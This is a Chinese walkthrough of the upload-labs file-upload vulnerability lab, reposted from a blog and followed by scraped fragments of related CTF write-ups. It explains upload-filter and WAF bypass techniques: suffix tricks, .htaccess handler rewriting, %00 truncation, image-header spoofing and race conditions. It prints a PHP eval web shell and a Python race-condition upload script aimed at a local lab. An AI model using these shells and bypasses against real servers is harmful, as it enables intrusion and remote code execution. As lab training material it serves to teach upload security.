Upload-Labs上传绕过

环境

upload-labs为上传漏洞测试,除了上传漏洞外,测试过程也依托中间件的解析漏洞,所以选用的不通中间件可能测试部分会有略微不同,我用的phpstudy,所以中间件是apache。

靶机环境:https://github.com/c0ny1/upload-labs
操作系统:windows
php版本:推荐5.2.17(其他版本可能会导致部分Pass无法突破)
php组件:php_gd2、php_exif(部分Pass需要开启这两个组件)
apache:以moudel方式连接( 配置文件httpd.conf 中 LoadModule rewrite_module modules/mod_rewrite.so前的注释去掉,寻找关键词:AllowOverride,并把后面的参数从None全部改成All)

除了以上方法,还有后缀名回车隔断等。

常见中间件解析漏洞

  • 1. IIS 6.0
    test.asp;.jpg (也可使用%00截断)
    test.asp/111.jpg (该目录下所有格式文件都被当做脚本语言执行)
    除此之外 ,111.asa、111.cer、111.cdx、111.asp、111.aspx、111.ascx、111.ashx 也会被当作asp执行。
  • 2. IIS 7.0/7.5 、Nginx
    test.jpg ---> test.jpg/.php
    在图片路径后面加 /.php,如果页面乱码,就存在解析漏洞,使用菜刀连接。
  • 3. Apache
    apache从右往左判断解析,一直到识别到解析脚本后缀为止。
    test.jpg.php.owf.sdqwd.sacerfervcscd 比如这样后面都识别不了,往左到php就能解析。
    如果 .htaccess 可被修改或能重新上传,在 .htaccess 中写入
<FilesMatch "x.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这样上传的所有jpg图片都可当脚本解析。


Pass-01(前端JS绕过)

js对文件后缀进行校验,禁用网站javascript或者抓包绕过。

上传一个一句话木马 cmd.php ,先将文件改为 cmd.php.jpg 格式,再用burp抓包改回 cmd.php,发送出去。
cmd.php内容:<?php @eval($_POST[‘cmd‘]);?>

Pass-02(MIME绕过)

本节对数据包的MIME(content-type)进行了限定,只允许 image/jpeg、image/png、image/gif 图片内容数据传输。操作和第一节一样。

Pass-03(上传特殊可解析后缀绕过 php4、phtml)

对几种常见后缀做了限制(含大小写),删除文件名末尾点,文件名首尾去空格。可使用 php4、phtml 等后缀格式进行绕过。

Pass-04(上传 .htaccess)

严格后缀(含大小写)校验,删除文件名末尾点,文件名首尾去空格。先上传 .htaccess,让所有图片都解析成php,再上传正常的图马。

<FilesMatch "x.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

Pass-05(后缀大小写绕过)

同四。但没有对文件后缀大小写进行校验,通过 .Php .phP就可绕过。

Pass-06(后缀末尾 加空格 绕过)

严格后缀(含大小写)校验,删除文件名末尾点。但没有首尾去空格,可以通过加 空格 绕过。

Pass-07(后缀末尾 加点 绕过)

严格后缀(含大小写)校验,文件名首尾去空格。但没有删除文件名末尾点,所以使用 .php. 这样绕过。

Pass-08( ::$DATA 绕过 )

严格后缀(含大小写)校验,且不允许上传 .htaccess,删除文件名末尾点,文件名首尾去空格。
但没有对后缀名进行去 ::$DATA 处理,可以在后缀名加 ::$DATA 绕过。

Pass-09( 加点 空格 配合绕过)

严格后缀(含大小写)校验,且不允许上传 .htaccess,删除文件名末尾点,删除文件名中的 ::$DATA 字符 ,文件名首尾去空格。可以通过多重 点空格 . . . 来绕过。

Pass-10(双后缀名绕过)

严格后缀(含大小写)校验,且不允许上传 .htaccess,将这些 后缀名通过正则删掉,可以使用 pphphp 这样 经过正则后 编程 php 后缀。

Pass-11(%00截断绕过)

上传文件后缀白名单,上传文件由路径+时间重新命令,可以在路径里增加 php 格式文件,使用 %00 将重命名的jpg文件截断使其解析。

Pass-12(同上%00截断)

save_path是通过 post 传进来的,还是利用 %00 截断,得使用 url-decode 解码一次,因为post不会像get对%00进行自动解码。也可直接在二进制中使用 00 进行修改(上节路径在url里,这节的路径在post包内)。

Pass-13(文件头绕过)

只允许jpg、pen、gif类型文件上传,且打开文件读取文件2个字节文件头标识符(如:jpg 为 GIF89a ),正常上传图马就行,或者在一句话木马前面加该标识符。当然这里没法直接利用,图马不解析,需要配合其他漏洞使用(如文件包含漏洞)。

Pass-14(突破getimagesize)

和13节一样,只不过这里限定为图片是通过 getimagesize()函数 来获取图片信息。所以图马或普通一句话木马+图片标识字段 可破(不重复截图)。

Pass-15(突破exif_imagetype)

同13、14节,这里是通过 exif_imagetype()函数 来判别图片类型,所以 这节是通过不同方式限定上传文件格式,解法一样(不重复截图)。
exif_imagetype():读取图像的第一个字节并检查其签名。

Pass-16(图片二次渲染)

查找渲染文件内容无更改位置插入马。

Pass-17(条件竞争,大批量发包绕过)

可使用burp爆破,也可用如下代码:

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool

def upload(lists):
    hh = hackhttp.hackhttp()
    raw = """POST /Pass-17/index.php?action=show_code HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/Pass-17/index.php?action=show_code
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------3112832919964
Content-Length: 314

-----------------------------3112832919964
Content-Disposition: form-data; name="upload_file"; filename="x.php"
Content-Type: image/jpeg

GIF89a
<? phpinfo();?>
-----------------------------3112832919964
Content-Disposition: form-data; name="submit"

?????
-----------------------------3112832919964--
"""
    code, head, html, redirect, log = hh.http('http://127.0.0.1/Pass-17/index.php', raw=raw)
    print(str(code) + "\r")

pool = ThreadPool(100)
pool.map(upload, range(10000))
pool.close()
pool.join()

文件上传到upload目录下,反复访问 http://127.0.0.1/upload/x.php 在竞争的某个瞬间可能访问到。

Pass-18(条件竞争)

上传文件会被重命名,但当发送速度超过程序处理速度,就会有原始文件未被重命名。这里利用apache的解析漏洞,使用 x.php.7z 由于apache不解析7z,向前执行php。

Pass-19(%00截断,同12节)

黑名单限制后缀,且强制保留命名为 upload-19.jpg,抓包截断为 upload-19.php口.jpg 口 为 %00 解码字符。

也可利用apache解析漏洞 x.php.xxx

Pass-20(暂未突破,高人请指点,谢谢)

原文地址:https://www.cnblogs.com/sstfy/p/10351818.html

时间: 2024-11-06 21:59:57

Upload-Labs上传绕过的相关文章

上传绕过

题目:上传绕过 1,我们打开链接,是个上传题,我们先随便上传点东西,提示   不被允许的文件类型,仅支持上传jpg,gif,png后缀的文件   ,然后我们上传一张图片后缀是.png,结果显示     必须上传成后缀名为php的文件才行啊!  ,现在我们上传php文件,结果显示     不被允许的文件类型,仅支持上传jpg,gif,png后缀的文件. 2,这里我们应该怎么办呢,接下来我们截断上传,我们打开burp suite ,上传一个png文件,使之上传成功,我们会抓到上传的路径,我们在抓到的

实验吧题库上传绕过

题目:上传绕过 1.上传尝试,上传jpg,提示需要上传php的2.上传php,提示说只能支持上传jpg,png...3.上神器bp,抓包4.改包,这里利用00截断上传(路径截断) 原理:在上传的时候,当文件系统读到0x00的时候,会认为文件已经结束,这就是程序员在对文件上传的路径过滤不严格造成的. 将路径加上1.php%00(名称任意,类型php),然后,选中%00,ctrl+shift+u(还原).根据我们的构造,上传之后的文件路径就成为:/upload/1.php%00rose.jpg.这时

上传绕过——实验吧

今天有时间就多写几篇解题思路吧,希望能够帮助到那些需要帮助的人,所有的wp都是以一题一篇的形式写出 主要是为了能够让读者更好的阅读以及查找,希望你们不要责怪!!共勉!!! 永远爱你们的----新宝宝 上传绕过分值:10 来源: Justatest 难度:易 参与人数:9296人 Get Flag:4107人 答题人数:4222人 解题通过率:97% bypass the upload 格式:flag{} 解题链接: http://ctf5.shiyanbar.com/web/upload 解题思

文件上传绕过知识总结一

前言 重新学习漏洞原理,记录下文件上传的绕过姿势 客户端的检测: 1 function checkFile() { 2 var file = document.getElementsByName('upload_file')[0].value; 3 if (file == null || file == "") { 4 alert("请选择要上传的文件!"); 5 return false; 6 } 7 //定义允许上传的文件类型 8 var allow_ext =

Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过

Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali-linux-web-%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E8%A7%86%E9%A2%91%E6%95%99%E7%A8%8B%E7%AC%AC%E5%8D%81%E4%B8%80%E8%AF%BE-%E6%89%AB%E6%8F%8Fsql%E6%B3%A8%

(转)多种文件上传绕过手法

相信大家都或多或少遇到过上传的问题,本文讲些小技巧,原理用文字叙述实在麻烦 目录:JS验证实例 /大小写/双重后缀名/过滤绕过/特殊后缀名/文件流类型/文件重写 1.javascript验证突破 查看源代码 在IE中禁用掉即可(火狐的noscript插件也行) 2.大小写突破 他只是把php做了限制,改成Php就可以了 3.双重后缀名突破 在php后面加一个空格即可突破 4.过滤绕过 这个大家应该经常遇到,上传一个php会自动改成gif 我们这样改一下,pphphp,那么就过滤了  第一个php

abcEditor上传绕过

<?php $fileup = 0; //上传功能开关 0打开 1关闭 $filesize = 200; //文件大小单位KB 1M=1024KB $filepath = './pic/'; //文件保存目录 后面要加斜杠/ header('Content-Type: text/html; charset=UTF-8');//页面编码 if(isset($_GET['up'])){ if($fileup) exit ('上传功能已关闭!'); $fileend = end(explode('.'

Nginx Upload Module 上传模块

传统站点在处理文件上传请求时,普遍使用后端编程语言处理,如:Java.PHP.Python.Ruby等.今天给大家介绍Nginx的一个模块,Upload Module上传模块,此模块的原理是先把用户上传的文件保存到临时文件,然后在交由后台页面处理,并且把文件的原名,上传后的名称,文件类型,文件大小set到页面. GitHub: https://github.com/vkholodkov/nginx-upload-module/tree/2.2 Site: http://wiki.nginx.or

[9期]软WAF上传绕过+webshell免杀

安全狗上传绕过 思路: 1.扰乱编码 form-data 替换成 ~form-data           form-data    改成 f+orm-data form-data    改成 form-d+ata          form-data   替换成   " filename="xxx"   改成  filename=xxx; 增减空格 对Content-Disposition,Content-Type,name,filename,form-data http参

Getshell | 文件上传绕过整理

WAF绕过 安全狗绕过 1.绕过思路:对文件的内容,数据.数据包进行处理. 关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php" 将form-data; 修改为~form-data; 2.通过替换大小写来进行绕过 Content-Disposition: form-data; name="file"; filename="yjh.php" C